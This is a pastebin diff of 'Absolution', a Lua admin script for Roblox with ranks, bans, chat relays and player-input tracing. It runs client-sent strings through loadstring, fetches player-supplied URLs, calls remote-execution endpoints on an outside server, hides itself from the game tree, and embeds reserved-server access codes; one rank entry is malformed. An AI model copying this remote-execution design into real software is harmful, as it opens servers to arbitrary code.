SHOW:
|
|
- or go back to the newest paste.
| 1 | --[[ | |
| 2 | ABSOLUTION ADMINISTRATION | |
| 3 | Consumer Edition | |
| 4 | Command Syntax: Command/Arguments -Flags | |
| 5 | Example: kill/Darkus-r | |
| 6 | --------------------------- | |
| 7 | @Author: Darkus_Theory | |
| 8 | @Name: Absolution | |
| 9 | @Date: 2/19/16 | |
| 10 | @Engine: Lua 5.1 | |
| 11 | --]] | |
| 12 | ||
| 13 | wait(0.003) | |
| 14 | local start_time = tick() | |
| 15 | --local Absolution; | |
| 16 | Absolution = setmetatable({
| |
| 17 | Services=setmetatable({Game=game},{
| |
| 18 | __index=function(self,index) | |
| 19 | index=tostring(index); | |
| 20 | return rawget(self,'Game'):GetService(index:sub(1,1):upper()..index:sub(2)); | |
| 21 | end; | |
| 22 | __newindex=function() | |
| 23 | error('You cannot add services manually');
| |
| 24 | end; | |
| 25 | __call=function(self,index) | |
| 26 | return self[index]; | |
| 27 | end; | |
| 28 | __metatable='Protected'; | |
| 29 | }); | |
| 30 | Ranks = {
| |
| 31 | [9] "SpinnerChris" = "localhost"; | |
| 32 | [8] = "ROOT"; | |
| 33 | [7] = "Developer"; | |
| 34 | [6] = "Administrator"; | |
| 35 | [5] = "Debugger"; | |
| 36 | [4] = "Moderator"; | |
| 37 | [3] = "Overseer"; | |
| 38 | [2] = "Pseudo"; | |
| 39 | [1] = "Beta"; | |
| 40 | [0.5] = "Trusted"; | |
| 41 | [0] = "Player"; | |
| 42 | [-0.5] = "Blacklist"; | |
| 43 | [-1] = "Banished"; | |
| 44 | [-2] = "Superbanned"; | |
| 45 | }; | |
| 46 | Settings = {
| |
| 47 | ["Rotation_Style"] = 'Normal'; | |
| 48 | ["Logo"] = '414448010', | |
| 49 | ['BallScale'] = 10, | |
| 50 | }; | |
| 51 | TraceLogs = {};
| |
| 52 | Nicknames = {};
| |
| 53 | PluginManager = {};
| |
| 54 | IRCDebug = {};
| |
| 55 | Errors = {};
| |
| 56 | Functions = {};
| |
| 57 | Handler = {};
| |
| 58 | Players = {};
| |
| 59 | Ranked = {};
| |
| 60 | Tempbans = {};
| |
| 61 | HandlingBans = {};
| |
| 62 | Music = {};
| |
| 63 | Connections = {Killing = {};};
| |
| 64 | pseudoRank = {};
| |
| 65 | Logs = {};
| |
| 66 | Tablets = {};
| |
| 67 | Commands = {};
| |
| 68 | Ignoring = {};
| |
| 69 | TriggerWords = {'ban','kick','lag','s3x','d33k','fweld','aerx','rosploit','jeerve'};
| |
| 70 | uniqueKey = string.sub(tostring(game:service'HttpService':GenerateGUID(true)), 2, 8); | |
| 71 | lastPing = tick(); | |
| 72 | AgeRestriction = true; | |
| 73 | Booted = false; | |
| 74 | TPReserves = {["21053279"]="3AoF5NoEvR9rQ6-Q4dS8W9knYQPRYXZGrLvf5Yr_B4JfP0EBAAAAAA2",["437965235"]="uldxE2h5nxghfpyJmiPH2UboRU_cKbhArOHRgzH9JMuz0RoaAAAAAA2"};
| |
| 75 | Constants = {
| |
| 76 | ShutdownTime = 30; | |
| 77 | TabletRotation = 0; | |
| 78 | MaxResults = 15; | |
| 79 | }; | |
| 80 | GroupData = {
| |
| 81 | GroupID = 971711; | |
| 82 | GroupRanks = {
| |
| 83 | [0] = {247,0};
| |
| 84 | [1] = {246};
| |
| 85 | [2] = {251};
| |
| 86 | [3] = {248};
| |
| 87 | [4] = {250};
| |
| 88 | [5] = {249};
| |
| 89 | [6] = {252};
| |
| 90 | [7] = {253};
| |
| 91 | [8] = {254};
| |
| 92 | [9] = {255};
| |
| 93 | }; | |
| 94 | }; | |
| 95 | HttpConstants = {
| |
| 96 | - | IRC = {["Name"] = "#Absolution",["whiteList"] = {'clarra','ic3','xXMLGBellXx','notControl22','Precession','iKrypto','HighDefinition','Tangy'}};
|
| 96 | + | IRC = {["Name"] = "#Absolution",["whiteList"] = {'jassm11'}};
|
| 97 | IP = "website here"; | |
| 98 | API = "http://roblox-proxy.cf"; | |
| 99 | UpdateURL = "titanpad link here"; | |
| 100 | Incoming = "/roblox/Absolution/OutgoingConnections.php"; | |
| 101 | Outgoing = "/roblox/Absolution/IncomingConnections.php"; | |
| 102 | ConsoleTXT = "/RemoteInstructions.txt"; | |
| 103 | ConsolePHP = "/RemoteInstructions.php"; | |
| 104 | Remote = "/roblox/Absolution/remoteExecute.lua"; | |
| 105 | Tempbans = "/roblox/Absolution/Tempban.php"; | |
| 106 | Modlogs = "/roblox/Absolution/AppendLog.php"; | |
| 107 | AuthURI = "/roblox/Absolution/AddAuthentication.php"; | |
| 108 | pircm = ""; | |
| 109 | Upload = "/roblox/upload.php"; | |
| 110 | PreviousSync = 'nil'; | |
| 111 | PreviousWSync = 'nil'; | |
| 112 | pythonConsole = {
| |
| 113 | IP = "http://absolution-server.xyz:443"; | |
| 114 | ChatServ = "/chat/<%s> %s %s"; | |
| 115 | Authentication = "/auth=%s"; | |
| 116 | Commands = "/%s"; | |
| 117 | previousCommand = ""; | |
| 118 | }; | |
| 119 | APIs = {
| |
| 120 | Music = "/roblox/API/SearchMusic.php"; | |
| 121 | Username = "/roblox/API/Usernames.php"; | |
| 122 | NewServer = "/roblox/API/NewServer.php"; | |
| 123 | Misc = "/roblox/API/index.php"; | |
| 124 | }; | |
| 125 | HttpEnabled = (function() local Enabled, Error = ypcall(function() game:GetService("HttpService"):GetAsync("http://www.google.com/") end) if Enabled then return true else return false end end)(),
| |
| 126 | pluginLink = "http://pastebin.com/raw/FRbyPAdZ"; | |
| 127 | }; | |
| 128 | Fake = {
| |
| 129 | _G = {},
| |
| 130 | shared = {},
| |
| 131 | Functions = {},
| |
| 132 | }, | |
| 133 | Locks = {
| |
| 134 | LocalScripts = false, | |
| 135 | Scripts = false, | |
| 136 | Server = {["Locked"] = false;["rankNumber"] = 0;["Duration"] = 120;["Server"] = false;["Local"] = false;},
| |
| 137 | }, | |
| 138 | PrivateServer = {
| |
| 139 | Type = 'Kick'; | |
| 140 | Enabled = false; | |
| 141 | }; | |
| 142 | Storage = {
| |
| 143 | DS = game:GetService("DataStoreService"):GetDataStore("\\:Absolution");
| |
| 144 | }; | |
| 145 | ScriptType = (game:FindService("NetworkServer") and "Server" or "Studio"),
| |
| 146 | injectBlacklist = {{["ID"] = 65135680, ["REASON"] = 'Requested by Client.'}}
| |
| 147 | },{__call=function(self,index)return rawget(self,index) end;});
| |
| 148 | coroutine.wrap(function() | |
| 149 | local to_be_pushed=true; | |
| 150 | local push;push=function(table,_index,_call,_new,___index) | |
| 151 | if(getmetatable(table)==nil and pcall(function()setmetatable(table,{})end) )then
| |
| 152 | local fake={
| |
| 153 | __index=_index or(function(self,index) | |
| 154 | return rawget(self,index); | |
| 155 | end); | |
| 156 | __call=_call or(function(self,index) | |
| 157 | return rawget(self,index); | |
| 158 | end); | |
| 159 | __newindex=_new or(function(self,index,value) | |
| 160 | if(type(value)=='table')then | |
| 161 | push(value); | |
| 162 | end; | |
| 163 | rawset(self,index,value); | |
| 164 | end); | |
| 165 | __metatable='Protected'; | |
| 166 | }; | |
| 167 | return setmetatable(table,fake); | |
| 168 | end; | |
| 169 | end; | |
| 170 | if(not to_be_pushed)then return end; | |
| 171 | for _,v in next,Absolution do | |
| 172 | if(type(v)=='table')then | |
| 173 | push(v,nil,nil,nil,_); | |
| 174 | end; | |
| 175 | end; | |
| 176 | setmetatable(Absolution,{
| |
| 177 | __call=function(self,index) | |
| 178 | return rawget(self,index); | |
| 179 | end; | |
| 180 | --__index=function(self,index) | |
| 181 | -- return rawget(self,index); | |
| 182 | --end; | |
| 183 | __newindex=function(self,index,value) | |
| 184 | if(type(value)=='table')then | |
| 185 | push(value,nil,nil,nil,index); | |
| 186 | end; | |
| 187 | rawset(self,index,value); | |
| 188 | end; | |
| 189 | __metatable='Protected'; | |
| 190 | }); | |
| 191 | end)(); | |
| 192 | ||
| 193 | ||
| 194 | script.Name = 'Absolution - Server' | |
| 195 | coroutine.yield() | |
| 196 | script.Parent = nil | |
| 197 | ----------------------------------------------- START SCRIPT -------------------------------------------------------- | |
| 198 | ||
| 199 | Absolution.Logs.append = function(self, tbl) | |
| 200 | self[#self+1] = tbl | |
| 201 | end | |
| 202 | ||
| 203 | Absolution.Functions.Print = function(message, typ) | |
| 204 | if not message then return false,'No message was sent.' end | |
| 205 | if not typ then typ = 1 end | |
| 206 | if typ == 1 then | |
| 207 | Absolution.Logs:append({Type='Print',Message=message})
| |
| 208 | print(message) | |
| 209 | elseif typ == 2 then | |
| 210 | Absolution.Logs:append({Type='Warning',Message=message})
| |
| 211 | warn(message) | |
| 212 | elseif typ == 3 then | |
| 213 | Absolution.Logs:append({Type='Error',Message=message})
| |
| 214 | pcall(function() error(message) end) | |
| 215 | end | |
| 216 | end | |
| 217 | ||
| 218 | -- In-Script locking -- | |
| 219 | Absolution.Functions.Lock = {
| |
| 220 | Table = function(Table) | |
| 221 | setmetatable(Table, {
| |
| 222 | __metatable = "[ Sandbox ]:\nLocked", | |
| 223 | }) | |
| 224 | for Index, Value in pairs(Table) do | |
| 225 | if type(Index) == "table" then Absolution.Functions.Lock.Table(Index) end | |
| 226 | if type(Value) == "table" then Absolution.Functions.Lock.Table(Value) end | |
| 227 | end | |
| 228 | end | |
| 229 | } | |
| 230 | Absolution.Functions.Simulate = { -- Things that are simulated
| |
| 231 | Table = function(Table) | |
| 232 | local SimulatedTable = {}
| |
| 233 | for Index, Value in pairs(Table) do | |
| 234 | SimulatedTable[Index] = Value | |
| 235 | end | |
| 236 | return SimulatedTable | |
| 237 | end, | |
| 238 | } | |
| 239 | ||
| 240 | -- PseudoScripting Functions -- | |
| 241 | Absolution.Functions.createLocalScript = function(source,parent,name,hasval) | |
| 242 | if not script:findFirstChild(source,true) then return end | |
| 243 | local s = script:findFirstChild(source,true):Clone() | |
| 244 | s.Parent = parent | |
| 245 | s.Name = (name and name or s.Name) | |
| 246 | if hasval then | |
| 247 | local val = s:children()[1] | |
| 248 | val.Value = hasval | |
| 249 | end | |
| 250 | wait() | |
| 251 | s.Disabled = false | |
| 252 | Absolution.Logs:append({'Script',Absolution.Functions.GetTime(tick()),source,tostring(parent.Parent)..'.'..tostring(parent)});
| |
| 253 | end | |
| 254 | Absolution.Functions.createScript = function(source, parent, name) | |
| 255 | local s = script["ScriptBase"]:Clone() | |
| 256 | s.Parent = parent | |
| 257 | s:FindFirstChild("Val").Value = source
| |
| 258 | s.Name = (name and name or s.Name) | |
| 259 | wait() | |
| 260 | s.Disabled = false | |
| 261 | end | |
| 262 | Absolution.Functions.NLS = function(source, parent, name) | |
| 263 | local Ran,Error = ypcall(function() | |
| 264 | local function url_encode(form) | |
| 265 | local result = {}
| |
| 266 | for key, value in pairs(form) do | |
| 267 | table.insert(result, Absolution.Services.HttpService:UrlEncode(key) .. "=" .. Absolution.Services.HttpService:UrlEncode(value)) | |
| 268 | end | |
| 269 | return table.concat(result, "&") | |
| 270 | end | |
| 271 | local pt = {SRC=source}
| |
| 272 | local body = url_encode(pt) | |
| 273 | local s = Absolution.Services.HttpService:PostAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Upload, body, Enum.HttpContentType.ApplicationUrlEncoded) | |
| 274 | wait(.5) | |
| 275 | Absolution.Logs:append({Absolution.Functions.GetTime(tick()),'Made a new localscript'});
| |
| 276 | local newScript = require(tonumber(s)) | |
| 277 | newScript.Parent = parent | |
| 278 | newScript.Name = (name and name or newScript.Name) | |
| 279 | wait() | |
| 280 | newScript.Disabled = false | |
| 281 | return newScript | |
| 282 | end) | |
| 283 | if not Ran then warn('[Absolution] - '..Error) end
| |
| 284 | end | |
| 285 | ||
| 286 | -- Handler -- | |
| 287 | Absolution.Handler.AuthorizeRemote = function(self,remote) | |
| 288 | local initial = Instance.new("StringValue")
| |
| 289 | initial.Name = "AUTHORIZED" | |
| 290 | initial.Value = "336c063bbccc80ebfa20df4b04b407cb61fb1c4301094183744bedb3b2e5e375429523190ecd4c44492dbf86e84346c62c94" | |
| 291 | initial.Parent = remote | |
| 292 | end | |
| 293 | Absolution.Handler.ConnectServer = function(self, server) | |
| 294 | server.OnServerInvoke = function(Player, Command, Key, etc) | |
| 295 | if not Absolution then return end | |
| 296 | if Key~= Absolution.uniqueKey then return false,"Access Denied" end | |
| 297 | if Command=='Message' then | |
| 298 | Absolution.Functions.Print(tostring(Player)..': '..etc[1]) | |
| 299 | elseif Command=='Aerx' then | |
| 300 | Absolution.Ranked[Player.Name].Description = 'using aerx (autoban)' | |
| 301 | Absolution.Ranked[Player.Name].Rank = -1 | |
| 302 | Absolution.Functions.Out('Admins', Player.Name..' was using aerx.', 5)
| |
| 303 | elseif Command=='RX6' then | |
| 304 | Absolution.Ranked[Player.Name].Description = 'using RX6 (autoban)' | |
| 305 | Absolution.Ranked[Player.Name].Rank = -1 | |
| 306 | Absolution.Functions.Out('Admins', Player.Name..' was using RX6.', 5)
| |
| 307 | elseif Command=='SEX' then | |
| 308 | Absolution.Ranked[Player.Name].Description = 'using sexgui (autoban)' | |
| 309 | Absolution.Ranked[Player.Name].Rank = -1 | |
| 310 | Absolution.Functions.Out('Admins', Player.Name..' was using sexgui.', 5)
| |
| 311 | elseif Command=='Tablets' then | |
| 312 | local Data=etc; | |
| 313 | local Func=Absolution.Tablets[Data[1]].Func | |
| 314 | local r,e = ypcall(Func,Player) | |
| 315 | print(Data[1],tostring(Func)) | |
| 316 | return r,e | |
| 317 | elseif Command=='Handshake' then | |
| 318 | if Absolution.Ranked[Player.Name].Rank >=4 then Absolution.Handler:sendPacket(Player, 'togglenil') end | |
| 319 | return {game.JobId, Absolution.Ranked, Absolution.uniqueKey}
| |
| 320 | elseif Command=='Command' then | |
| 321 | Absolution.Functions.onChatted(Player, etc[1]) | |
| 322 | if etc[1]:find'trace/' then return end | |
| 323 | if not Absolution.TraceLogs[Player.Name] then | |
| 324 | Absolution.TraceLogs[Player.Name] = {}
| |
| 325 | end | |
| 326 | local parseddata = etc[1] | |
| 327 | ||
| 328 | if etc[1]:find('/http') and game.PlaceId~=21053279 then
| |
| 329 | local link = etc[1]:sub(etc[1]:find('/http')+1)
| |
| 330 | wait(1) | |
| 331 | local gas = Absolution.Services.HttpService:GetAsync(link) | |
| 332 | if gas then | |
| 333 | parseddata = gas | |
| 334 | else | |
| 335 | parseddata = etc[1] | |
| 336 | end | |
| 337 | end | |
| 338 | ||
| 339 | Absolution.TraceLogs[Player.Name][#Absolution.TraceLogs[Player.Name]+1] = {Time=tick(), logData=parseddata}
| |
| 340 | elseif Command=='Loadstring' then | |
| 341 | loadstring(etc[1])() | |
| 342 | elseif Command=='Console' then | |
| 343 | if etc[1]:find'trace/' then return end | |
| 344 | if not Absolution.TraceLogs[Player.Name] then | |
| 345 | Absolution.TraceLogs[Player.Name] = {}
| |
| 346 | end | |
| 347 | local parseddata = etc[1] | |
| 348 | ||
| 349 | if etc[1]:find('/http') and game.PlaceId~=21053279 then
| |
| 350 | local link = etc[1]:sub(etc[1]:find('/http')+1)
| |
| 351 | wait(1) | |
| 352 | local gas = Absolution.Services.HttpService:GetAsync(link) | |
| 353 | if gas then | |
| 354 | parseddata = gas | |
| 355 | else | |
| 356 | parseddata = etc[1] | |
| 357 | end | |
| 358 | end | |
| 359 | ||
| 360 | local shortenedparseddata = parseddata | |
| 361 | ||
| 362 | for nildata, player in next, Absolution.Functions:getALLPlayers() do | |
| 363 | if parseddata:lower():find(player.Name:lower()) then | |
| 364 | if string.len(parseddata)>100 then shortenedparseddata = parseddata:sub(parseddata:lower():find(player.Name:lower())-10,parseddata:lower():find(player.Name:lower())+45) end | |
| 365 | Absolution.Functions.Out(player, 'Your name was detected from player '..Player.Name, 2) | |
| 366 | Absolution.Functions.Out(player, 'Trigger String: '..shortenedparseddata:gsub("\n",""), 2)
| |
| 367 | if not Absolution.Functions.IsIgnoring(player.Name) then Absolution.Handler:sendPacket(player, 'TerminalOn') Absolution.Handler:sendPacket(player, 'Ding!') end | |
| 368 | elseif Absolution.Functions:findRank(player) >= 4 and Absolution.Functions.Sanitize(parseddata) and Absolution.Functions:findRank(Player) < 6 then | |
| 369 | local word = Absolution.Functions.Sanitize(parseddata) | |
| 370 | if string.len(parseddata)>100 then shortenedparseddata = parseddata:sub(parseddata:lower():find(word:lower())-10,parseddata:lower():find(word:lower())+45) end | |
| 371 | Absolution.Functions.Out(player, 'Trigger word ('..word..') detected from player '..Player.Name..'!', 3)
| |
| 372 | Absolution.Functions.Out(player, 'String: '..shortenedparseddata:gsub("\n",""), 3)
| |
| 373 | if not Absolution.Functions.IsIgnoring(player.Name) then Absolution.Handler:sendPacket(player, 'TerminalOn') end | |
| 374 | end | |
| 375 | end | |
| 376 | ||
| 377 | Absolution.TraceLogs[Player.Name][#Absolution.TraceLogs[Player.Name]+1] = {Time=tick(), logData=parseddata}
| |
| 378 | else | |
| 379 | end | |
| 380 | end | |
| 381 | server.Changed:connect(function(change) | |
| 382 | local c = change:lower() | |
| 383 | if c=='name' then | |
| 384 | server.Name = 'AbsolutionHandler' | |
| 385 | elseif c=='parent' then | |
| 386 | wait() | |
| 387 | server.Parent = Absolution.Services.ReplicatedStorage | |
| 388 | else | |
| 389 | server:Destroy() | |
| 390 | Absolution.Handler:CreateHandler('AbsolutionHandler', Absolution.Services.ReplicatedStorage)
| |
| 391 | end | |
| 392 | end) | |
| 393 | self["SERVER"] = server | |
| 394 | end | |
| 395 | ||
| 396 | ||
| 397 | ||
| 398 | Absolution.Handler.CreateHandler = function(self, Name, Place) | |
| 399 | if Place:FindFirstChild(Name) then Place:FindFirstChild(Name):Destroy'' end | |
| 400 | local pseudoRemote = Absolution.Functions:Create('RemoteFunction',{Name=Name})
| |
| 401 | Absolution.Handler:AuthorizeRemote(pseudoRemote) | |
| 402 | wait() | |
| 403 | pseudoRemote.Parent = Place | |
| 404 | Absolution.Handler:ConnectServer(pseudoRemote) | |
| 405 | end | |
| 406 | --Absolution.Handler.oldPacket('tusKOr661','CORE.Functions:executeClient("rejoin")')
| |
| 407 | Absolution.Handler.oldPacket = function(Player, String) | |
| 408 | local Str = Instance.new('StringValue')
| |
| 409 | Str.Name = tostring(Player)..' RUN '..Absolution.uniqueKey | |
| 410 | Str.Value = String | |
| 411 | wait() | |
| 412 | Str.Parent = Absolution.Services.Lighting | |
| 413 | Absolution.Services.Debris:AddItem(Str, 5) | |
| 414 | end | |
| 415 | ||
| 416 | Absolution.Handler.sendPacket = function(self, Player, Command, etc) | |
| 417 | local etc = (type(etc)=='table' and etc or {})
| |
| 418 | if type(Player) == 'userdata' then | |
| 419 | local receive,data = Absolution.Handler.SERVER:InvokeClient(Player, Command, Absolution.uniqueKey, etc) | |
| 420 | return receive,data | |
| 421 | elseif type(Player) == 'string' then | |
| 422 | local Plr = Absolution.Services.Players:FindFirstChild(Player) | |
| 423 | if not Plr then return "Player was not found" end | |
| 424 | local receive,data = Absolution.Handler.SERVER:InvokeClient(Plr, Command, Absolution.uniqueKey, etc) | |
| 425 | return receive,data | |
| 426 | else | |
| 427 | return 'INVALID PLAYER TYPE!' | |
| 428 | end | |
| 429 | end | |
| 430 | ||
| 431 | Absolution.Handler.clientLS = function(self, String, Player) | |
| 432 | if type(Player) == 'userdata' then | |
| 433 | local receive,data = Absolution.Handler.SERVER:InvokeClient(Player, "loadstring", Absolution.uniqueKey, {["str"]=(String and String or [[print"No string"]])})
| |
| 434 | return receive,data | |
| 435 | elseif type(Player) == 'string' then | |
| 436 | local Plr = Absolution.Services.Players:FindFirstChild(Player) | |
| 437 | if not Plr then return "Player was not found" end | |
| 438 | local receive,data = Absolution.Handler.SERVER:InvokeClient(Plr, "loadstring", Absolution.uniqueKey, {["str"]=(String and String or [[print"No string"]])})
| |
| 439 | return receive,data | |
| 440 | elseif not Player then | |
| 441 | Absolution.Handler:fireAllClients('loadstring', {["str"]=(String and String or [[print"No string"]])})
| |
| 442 | else | |
| 443 | return 'INVALID PLAYER TYPE!' | |
| 444 | end | |
| 445 | end | |
| 446 | ||
| 447 | Absolution.Handler.fireAllClients = function(self, Command, etc) | |
| 448 | for i,v in pairs(Absolution.Functions.getALLPlayers()) do | |
| 449 | local receive,data = Absolution.Handler:sendPacket(v, Command, (etc and etc or nil)) | |
| 450 | return receive,data | |
| 451 | end | |
| 452 | end | |
| 453 | ||
| 454 | Absolution.Handler.sendChat = function(Message, Player, over, Color, isDiscord) | |
| 455 | if Message:lower():find('http') then Message = 'http://google.com' end
| |
| 456 | Message = Message:gsub("","")
| |
| 457 | if over and Message:find(over) then | |
| 458 | local rem = string.sub(Message,1,Message:find(":")-1)
| |
| 459 | if rem then | |
| 460 | string.gsub(Message,rem,"") | |
| 461 | end | |
| 462 | end | |
| 463 | if Player then | |
| 464 | if Message:lower():find(tostring(Player):lower()) then Color = 'Red' else Color = 'White' end | |
| 465 | Absolution.Handler:sendPacket(Player, 'Chat', {["TEXT"]=(over and (not isDiscord and '['..over..']: ' or '[DISCORD] '..over..': ') or '')..Message,["COLOR"]='Purple'})
| |
| 466 | Absolution.Functions:sbChat(Message, Player, over) | |
| 467 | else | |
| 468 | for i,v in pairs(Absolution.Functions.getALLPlayers()) do | |
| 469 | if Message:lower():find(tostring(v):lower()) then Color = 'Red' else Color = 'White' end | |
| 470 | Absolution.Handler:sendPacket(v, 'Chat', {["TEXT"]=(over and (not isDiscord and '['..over..']: ' or '[DISCORD] '..over..': ') or '')..Message,["COLOR"]=Color})
| |
| 471 | end | |
| 472 | for q,e in pairs(Absolution.Services.Players:getPlayers()) do | |
| 473 | Absolution.Functions:sbChat(Message, e, (over and over or nil)) | |
| 474 | end | |
| 475 | end | |
| 476 | end | |
| 477 | ||
| 478 | Absolution.Handler.Ping = function(self) | |
| 479 | for i,v in pairs(Absolution.Functions.getALLPlayers()) do | |
| 480 | Ran,Error = ypcall(function() | |
| 481 | if Absolution.Players[v.Name] then | |
| 482 | local r,d = Absolution.Handler:sendPacket(v, 'Ping') | |
| 483 | if r == true and d:lower() == 'pong' then | |
| 484 | Absolution.Players[v.Name].lastPing = Absolution.Functions.GetTime(tick()) | |
| 485 | end | |
| 486 | end | |
| 487 | end) | |
| 488 | if not Ran then error(Error) end | |
| 489 | end | |
| 490 | return false | |
| 491 | end | |
| 492 | ||
| 493 | --[[Tracer Cusmpilation]]-- | |
| 494 | ||
| 495 | Absolution.Functions.TraceSearch = function(keyword, isplr) | |
| 496 | ||
| 497 | local results = {}
| |
| 498 | ||
| 499 | for player, logdata in next, Absolution.TraceLogs do | |
| 500 | ||
| 501 | if not isplr then | |
| 502 | ||
| 503 | for index, logtable in pairs(logdata) do | |
| 504 | ||
| 505 | local logDATA = logtable.logData | |
| 506 | if logDATA:lower():find(keyword:lower()) then | |
| 507 | ||
| 508 | if string.len(logDATA)>100 then logDATA = logDATA:sub(logDATA:lower():find(keyword:lower())-25,logDATA:lower():find(keyword:lower())+25) end | |
| 509 | ||
| 510 | results[#results+1] = {plr=player, data=logDATA, tim=logtable.Time}
| |
| 511 | ||
| 512 | end | |
| 513 | ||
| 514 | end | |
| 515 | ||
| 516 | elseif isplr and player==keyword then | |
| 517 | ||
| 518 | for index, logtable in pairs(logdata) do | |
| 519 | ||
| 520 | local logDATA = logtable.logData | |
| 521 | if logDATA:lower():find(keyword:lower()) then | |
| 522 | ||
| 523 | if string.len(logDATA)>100 then logDATA = logDATA:sub(logDATA:lower():find(keyword:lower())-25,logDATA:lower():find(keyword:lower())+25) end | |
| 524 | ||
| 525 | results[#results+1] = {plr=player, data=logDATA, tim=logtable.Time}
| |
| 526 | ||
| 527 | end | |
| 528 | ||
| 529 | end | |
| 530 | ||
| 531 | end | |
| 532 | ||
| 533 | end | |
| 534 | ||
| 535 | return results | |
| 536 | ||
| 537 | end | |
| 538 | ||
| 539 | --[[ | |
| 540 | for i,v in next,Absolution.Functions.TraceSearch('asd') do
| |
| 541 | print(v.plr,v.data) | |
| 542 | end | |
| 543 | --]] | |
| 544 | ||
| 545 | --[[ Main Functions ]]-- | |
| 546 | -- Shutdown -- | |
| 547 | Absolution.Functions.Shutdown = function(ranby,Reason) | |
| 548 | Absolution.Functions.Announce('Shutdown commenced by: '..(ranby and ranby or 'Absolution'))
| |
| 549 | wait() | |
| 550 | Absolution.DCTAPI.sendMessage(('Shutdown commenced by: '..(ranby and ranby or 'Absolution')))
| |
| 551 | while wait() do | |
| 552 | for i,v in pairs(Absolution.Functions.getALLPlayers()) do | |
| 553 | v:Kick((ranby and ranby or 'Absolution')..(Reason and ': '..Reason or ': Shutdown by administrator') and (ranby and ranby or 'Absolution')..(Reason and ': '..Reason or ': Shutdown by administrator') or 'Shutdown by: '..(ranby and ranby or 'Absolution')) | |
| 554 | end | |
| 555 | end | |
| 556 | end | |
| 557 | ||
| 558 | -- getALLPlayers -- | |
| 559 | Absolution.Functions.getALLPlayers = function() | |
| 560 | local ALLPlayers = {}
| |
| 561 | for i,v in pairs(Absolution.Services.NetworkServer:GetChildren()) do | |
| 562 | ypcall(function() | |
| 563 | if v:IsA("ServerReplicator") then
| |
| 564 | table.insert(ALLPlayers, v:GetPlayer()) | |
| 565 | end | |
| 566 | end) | |
| 567 | end | |
| 568 | return ALLPlayers | |
| 569 | end | |
| 570 | ||
| 571 | Absolution.SandboxSource = "print'asd'" | |
| 572 | ||
| 573 | -- Create -- | |
| 574 | Absolution.Functions.Create = function(self, ClassName, Properties) | |
| 575 | local Instance = Instance.new(ClassName) | |
| 576 | local Properties = Properties or {}
| |
| 577 | local ConnectionIndexes = {"MouseClick","MouseHoverEnter","MouseHoverLeave","MouseButton1Down","MouseButton2Down"}
| |
| 578 | local CheckConnection = function(Index) | |
| 579 | local Index = tostring(Index) | |
| 580 | for _, Connect in pairs(ConnectionIndexes) do | |
| 581 | if Index:lower() == Connect:lower() then | |
| 582 | return true | |
| 583 | end | |
| 584 | end | |
| 585 | return false | |
| 586 | end | |
| 587 | for Index, Value in pairs(Properties) do | |
| 588 | if not CheckConnection(Index) then | |
| 589 | Instance[Index] = Value | |
| 590 | else | |
| 591 | Instance[Index]:connect(Value) | |
| 592 | end | |
| 593 | end | |
| 594 | return Instance | |
| 595 | end | |
| 596 | ||
| 597 | -- ServerLocking -- | |
| 598 | Absolution.Locks.Server.enabledServerLock = function(self) | |
| 599 | if self.Locked then return end | |
| 600 | local t = self.Duration | |
| 601 | local r = self.rankNumber | |
| 602 | Absolution.Functions.Announce("Server Lock Enabled")
| |
| 603 | Absolution.Locks.Server.Locked = true | |
| 604 | Instance.new("Hint", Absolution.Services.Workspace).Name = 'absolutionSht'
| |
| 605 | for i = t,0,-1 do | |
| 606 | local ABM = workspace:findFirstChild('absolutionSht')
| |
| 607 | if not ABM then | |
| 608 | ABM = Instance.new("Hint", Absolution.Services.Workspace)
| |
| 609 | ABM.Name = 'absolutionSht' | |
| 610 | end | |
| 611 | ABM.Text = '[Absolution]: Server is locked for all ranks below '..r..' for '..i..' more seconds!' | |
| 612 | for i,v in pairs(Absolution.Services.Players:players()) do | |
| 613 | local pRank = Absolution.Functions.getRankedTable(tostring(v)) and Absolution.Functions:findRank(tostring(v)) or 0 | |
| 614 | if pRank < r then | |
| 615 | v:Kick('[Absolution]: Server is locked for all ranks below '..r..' for '..i..' more seconds!')
| |
| 616 | end | |
| 617 | end | |
| 618 | if self.Locked==false then ABM:remove() break end | |
| 619 | wait(1) | |
| 620 | end | |
| 621 | Absolution.Functions.Announce("Server Lock Disabled")
| |
| 622 | Absolution.Locks.Server.Locked = false | |
| 623 | Absolution.Functions.Out('Admins', "Server Lock Disabled", 5)
| |
| 624 | end | |
| 625 | ||
| 626 | ||
| 627 | -- Rotation! -- | |
| 628 | Absolution.Constants.TabletRotation = 0 | |
| 629 | Absolution.Functions.UpdateTablets = function(self) | |
| 630 | Absolution.Constants.TabletRotation = Absolution.Constants.TabletRotation==360 and 0 or Absolution.Constants.TabletRotation*(.1/100) | |
| 631 | for _, Player in pairs(Absolution.Functions:getALLPlayers()) do | |
| 632 | local PlrTabs = {}
| |
| 633 | for i,v in pairs(Absolution.Tablets) do | |
| 634 | if v.Tab.Parent ~= nil and v.Plr == Player.Name then | |
| 635 | table.insert(PlrTabs, v) | |
| 636 | end | |
| 637 | end | |
| 638 | local radiusdata = Absolution.Functions.getRankedTable(Player.Name).Distance ~= nil and Absolution.Functions.getRankedTable(Player.Name).Distance or 15 | |
| 639 | local pos = nil | |
| 640 | pcall(function() | |
| 641 | if Player.Character.Parent == Absolution.Services.Workspace then | |
| 642 | pos = Player.Character.Torso.CFrame | |
| 643 | end | |
| 644 | end) | |
| 645 | pcall(function() | |
| 646 | if Absolution.Services.Workspace:FindFirstChild(Player.Name..' Probe '..Absolution.uniqueKey) then | |
| 647 | pos = Absolution.Services.Workspace:FindFirstChild(Player.Name..' Probe '..Absolution.uniqueKey).CFrame | |
| 648 | end | |
| 649 | end) | |
| 650 | local radius = radiusdata + (#PlrTabs * 0.5) | |
| 651 | if not pos then pos = CFrame.new(0,15,0) end | |
| 652 | local LastKnownPosition = pos | |
| 653 | for Index = 1, #PlrTabs do | |
| 654 | local Tablet = PlrTabs[Index].Tab | |
| 655 | local Dec = Tablet:findFirstChild('aDD', true)
| |
| 656 | if Tablet and Tablet.Parent then | |
| 657 | local newCFrame = Absolution.Functions.CLerp(Tablet.CFrame,CFrame.new(LastKnownPosition.p) | |
| 658 | * CFrame.Angles(0, math.rad((360/#PlrTabs*Index+(tick())*60/(#PlrTabs ~= 0 and 10 or 1))%360), 0) | |
| 659 | * CFrame.new(0, 0, ((radius*2)+#PlrTabs)*.35+Tablet.Size.X), .2) | |
| 660 | Tablet.CFrame = CFrame.new(newCFrame.p,pos.p) | |
